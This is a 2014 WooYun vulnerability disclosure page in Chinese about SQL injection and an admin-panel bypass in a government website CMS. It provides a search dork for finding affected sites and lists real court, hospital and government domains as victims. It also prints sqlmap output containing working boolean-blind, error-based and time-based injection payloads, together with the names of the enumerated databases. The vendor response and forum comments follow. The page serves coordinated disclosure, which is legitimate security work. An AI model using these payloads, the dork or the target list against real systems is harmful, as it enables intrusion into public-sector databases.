当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-063472

漏洞标题：某通用政府程序SQL注入漏洞（后台管理bypass）

相关厂商：cncert国家互联网应急中心

漏洞作者： Coody

提交时间：2014-06-04 13:37

修复时间：2014-09-02 13:38

公开时间：2014-09-02 13:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-04： 细节已通知厂商并且等待厂商处理中
2014-06-08： 厂商已经确认，细节仅向厂商公开
2014-06-11： 细节向第三方安全合作伙伴开放
2014-08-02： 细节向核心白帽子及相关领域专家公开
2014-08-12： 细节向普通白帽子公开
2014-08-22： 细节向实习白帽子公开
2014-09-02： 细节向公众公开

简要描述：

天空飘来五个字：高考不是事儿

详细说明：

技术支持：南京希迪麦德软件有限公司
谷歌&百度 dork inurl:col13/articleinfo.php?infoid=
网站集群管理系统
-----------------------------------
案例：
http://www.zjrzfy.gov.cn/ 镇江市润州区人民法院
http://www.zjzy.gov.cn/ 镇江市中级人民法院
http://www.jsjrfy.gov.cn/ 句容市人民法院
http://www.njng.gov.cn/ 南京宁高高科技产业园
http://www.jsrepc.com/ 江苏省辐射环保咨询中心
http://www.sundy-whcy.com/ 圣典文化创意法律服务网
http://www.njlsjjjc.gov.cn/溧水纪检监察网
http://www.jzscxh.com/ 江苏省建筑市场管理协会
http://www.jnkjj.gov.cn/江宁科技局
http://www.jszlyy.com.cn/江苏省肿瘤医院
http://cxy.jnkjj.gov.cn/江宁区产学研合作信息网
默认管理后台为 http://admin.xxx.gov.cn/general/
-----------------------------------

0x01:SQL注射漏洞


案例一：http://www.zjrzfy.gov.cn/col8/articleinfo.php?infoid=1088

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: infoid
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
    Payload: infoid=1088' RLIKE (SELECT (CASE WHEN (2907=2907) THEN 1088 ELSE 0x
28 END)) AND 'lmxd'='lmxd
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: infoid=1088' AND (SELECT 9389 FROM(SELECT COUNT(*),CONCAT(0x7165727
171,(SELECT (CASE WHEN (9389=9389) THEN 1 ELSE 0 END)),0x71756e6371,FLOOR(RAND(0
)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'FzyA'='FzyA
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: infoid=1088' AND 6583=BENCHMARK(5000000,MD5(0x4756526f)) AND 'VhDa'
='VhDa
---
[12:56:33] [INFO] testing MySQL
[12:56:33] [INFO] confirming MySQL
[12:56:33] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.6, Apache 2.2.25
back-end DBMS: MySQL >= 5.0.0
available databases [30]:
[*] cms2011_zjzy
[*] cms2012_dtfy
[*] cms2012_jrfy
[*] cms2012_ngy
[*] cms2013_lsjw
[*] cms_gqtxw
[*] cms_jnwj
[*] cms_jsyy
[*] cms_jszlyy
[*] cms_xlwjd2011
[*] cms_xwhjd
[*] cms_zjkfq2012
[*] gbk_cms2011_zjzy
[*] gbk_cms2012_dtfy
[*] gbk_cms2012_jrfy
[*] gbk_cms2012_ngy
[*] gbk_cms2012_sdwh
[*] gbk_cms2012_wxg
[*] gbk_cms2012_zjrzfy
[*] gbk_cms2013_jzscglxh
[*] gbk_cms2014_fshbzx
[*] gbk_cms_gcp_jszl
[*] gbk_cms_gqtxw
[*] gbk_cms_jsyy
[*] gbk_cms_jszlyy
[*] gbk_cms_xlwjd2011
[*] gbk_cms_zjkfq2012
[*] information_schema
[*] mysql
[*] test


案例二：http://www.zjzy.gov.cn/col1/col13/col31/articleinfo.php?infoid=379

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: infoid
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
    Payload: infoid=379' RLIKE (SELECT (CASE WHEN (4867=4867) THEN 379 ELSE 0x28
 END)) AND 'IlcR'='IlcR
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: infoid=379' AND (SELECT 6422 FROM(SELECT COUNT(*),CONCAT(0x71627579
71,(SELECT (CASE WHEN (6422=6422) THEN 1 ELSE 0 END)),0x716f626671,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'rAvx'='rAvx
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: infoid=379' AND 5955=BENCHMARK(5000000,MD5(0x74626a70)) AND 'sXvX'=
'sXvX
---
[12:58:59] [INFO] testing MySQL
[12:59:00] [INFO] heuristics detected web page charset 'GB2312'
[12:59:00] [WARNING] reflective value(s) found and filtering out
[12:59:00] [INFO] confirming MySQL
[12:59:00] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.6, Apache 2.2.25
back-end DBMS: MySQL >= 5.0.0
available databases [30]:
[*] cms2011_zjzy
[*] cms2012_dtfy
[*] cms2012_jrfy
[*] cms2012_ngy
[*] cms2013_lsjw
[*] cms_gqtxw
[*] cms_jnwj
[*] cms_jsyy
[*] cms_jszlyy
[*] cms_xlwjd2011
[*] cms_xwhjd
[*] cms_zjkfq2012
[*] gbk_cms2011_zjzy
[*] gbk_cms2012_dtfy
[*] gbk_cms2012_jrfy
[*] gbk_cms2012_ngy
[*] gbk_cms2012_sdwh
[*] gbk_cms2012_wxg
[*] gbk_cms2012_zjrzfy
[*] gbk_cms2013_jzscglxh
[*] gbk_cms2014_fshbzx
[*] gbk_cms_gcp_jszl
[*] gbk_cms_gqtxw
[*] gbk_cms_jsyy
[*] gbk_cms_jszlyy
[*] gbk_cms_xlwjd2011
[*] gbk_cms_zjkfq2012
[*] information_schema
[*] mysql
[*] test


案例三：http://www.jnkjj.gov.cn/col2/col9/articleinfo.php?infoid=5505

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: infoid
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: infoid=5505' AND (SELECT 8601 FROM(SELECT COUNT(*),CONCAT(0x7170726
471,(SELECT (CASE WHEN (8601=8601) THEN 1 ELSE 0 END)),0x7170677671,FLOOR(RAND(0
)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'QQJH'='QQJH
---
[13:02:07] [INFO] testing MySQL
[13:02:07] [WARNING] reflective value(s) found and filtering out
[13:02:07] [INFO] confirming MySQL
[13:02:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: PHP 5.3.3, Apache 2.2.3
back-end DBMS: MySQL >= 5.0.0
[13:02:07] [INFO] fetching database names
[13:02:07] [INFO] the SQL query used returns 8 entries
[13:02:07] [INFO] resumed: information_schema
[13:02:07] [INFO] resumed: cluster_replication
[13:02:07] [INFO] resumed: gbk_cms2013_jnkj
[13:02:07] [INFO] resumed: hodeframe2010_jnkjoa
[13:02:07] [INFO] resumed: hodeframe2011_jnkj
[13:02:07] [INFO] resumed: mysql
[13:02:07] [INFO] resumed: project
[13:02:07] [INFO] resumed: test
available databases [8]:
[*] cluster_replication
[*] gbk_cms2013_jnkj
[*] hodeframe2010_jnkjoa
[*] hodeframe2011_jnkj
[*] information_schema
[*] mysql
[*] project
[*] test


0x02:管理后台bypass


QQ图片20140604130704.jpg


案例一：http://admin.zjdtfy.gov.cn/general/

QQ图片20140604130951.jpg


案例二：http://admin.jnkjj.gov.cn/general/index.php

QQ图片20140604131138.jpg


案例三：http://admin.jsjrfy.gov.cn/general/

QQ图片20140604131331.jpg


漏洞证明：

……

修复方案：

版权声明：转载请注明来源 Coody@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2014-06-08 21:57

厂商回复：

CNVD确认并复现所述多个实例情况，根据测试用例情况，已经转由CNCERT下发给江苏分中心，由其后续联系网站管理单位处置

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-04 13:39 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    你关注的逗比发表了漏洞......你说的是六个字......祝你高考顺利....

  2. 2014-06-04 15:27 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    你关注的逗比发表了漏洞......你说的是六个字......祝你开房顺利....

  3. 2014-06-04 17:19 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @疯狗 能把我最近的两个审了不？

  4. 2014-06-04 17:23 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @U神 不能！不用谢（我是活雷锋）。